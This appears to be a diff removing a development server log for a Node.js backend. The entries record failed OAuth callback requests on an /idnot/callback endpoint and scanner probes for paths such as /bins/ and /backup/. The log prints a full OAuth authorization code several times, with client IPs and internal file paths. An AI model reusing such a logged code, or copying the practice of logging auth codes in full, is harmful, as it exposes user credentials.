- } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:59:23.274Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758639563273_i16yld1f8' -} -❌ [ERROR] 2025-09-23T14:59:23.275Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758639563273_i16yld1f8', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T15:06:02.161Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758639962161_747vm04ud' -} -❌ [ERROR] 2025-09-23T15:06:02.162Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758639962161_747vm04ud', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T15:12:45.143Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758640365142_xdgmaa2vl' -} -❌ [ERROR] 2025-09-23T15:12:45.143Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758640365142_xdgmaa2vl', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T15:19:29.598Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758640769597_l52nc9332' -} -❌ [ERROR] 2025-09-23T15:19:29.599Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758640769597_l52nc9332', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T15:26:13.921Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758641173920_igoyzua5x' -} -❌ [ERROR] 2025-09-23T15:26:13.922Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758641173920_igoyzua5x', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T15:29:28.154Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758641368153_63ikx6fkn', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T15:32:44.521Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758641564520_tyglij9cy', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T15:33:04.841Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758641584841_q5ljtfdi7' -} -❌ [ERROR] 2025-09-23T15:33:04.842Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758641584841_q5ljtfdi7', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T15:39:54.827Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758641994826_3c7hlvppz' -} -❌ [ERROR] 2025-09-23T15:39:54.827Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758641994826_3c7hlvppz', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '130.131.161.148', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T15:43:32.762Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 zgrab/0.x' - }, - requestId: 'req_1758642212761_t4zvmh2yx' -} -❌ [ERROR] 2025-09-23T15:43:32.762Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 zgrab/0.x' - }, - requestId: 'req_1758642212761_t4zvmh2yx', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T15:46:46.775Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758642406774_yarxc9gqv' -} -❌ [ERROR] 2025-09-23T15:46:46.776Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758642406774_yarxc9gqv', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T15:53:44.353Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758642824353_3xvrf3191' -} -❌ [ERROR] 2025-09-23T15:53:44.355Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758642824353_3xvrf3191', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T15:58:56.194Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758643136193_pajdty6wa' -} -❌ [ERROR] 2025-09-23T15:58:56.195Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758643136193_pajdty6wa', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T15:59:13.031Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:8.220.198.177', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758643153030_nyrv8vz1s', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T15:59:42.954Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:8.220.198.177', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36' - }, - requestId: 'req_1758643182951_clnh01sen', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T16:02:00.941Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:204.76.203.18', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758643320940_aizpq7o7w', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T16:17:06.888Z HTTP GET /bins/ - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.18', - method: 'GET', - url: '/bins/', - userAgent: undefined - }, - requestId: 'req_1758644226886_8e461s10g', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T16:38:41.755Z HTTP GET /bin/ - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.18', - method: 'GET', - url: '/bin/', - userAgent: undefined - }, - requestId: 'req_1758645521754_dqcewy7my', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T16:44:58.268Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758645898267_xarx0yx7v', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T16:47:59.514Z HTTP GET /backup/ - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.18', - method: 'GET', - url: '/backup/', - userAgent: undefined - }, - requestId: 'req_1758646079513_s0zepuccw', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T17:00:02.899Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758646802898_rm4l4vtz7', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T17:07:38.171Z HTTP HEAD http://112.124.42.80:63435/ - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:60.191.125.35', - method: 'HEAD', - url: 'http://112.124.42.80:63435/', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36' - }, - requestId: 'req_1758647258170_dmo1kf8d2', - response: { - statusCode: 404 - } -} -ℹ️ [INFO] 2025-09-23T17:13:53.299Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 59, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647633160_utzz0mi50', - response: { - statusCode: 200 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '78.241.54.161', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T17:15:07.475Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647707474_k3buyav53' -} -❌ [ERROR] 2025-09-23T17:15:07.476Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758647707474_k3buyav53', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '78.241.54.161', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T17:15:12.198Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 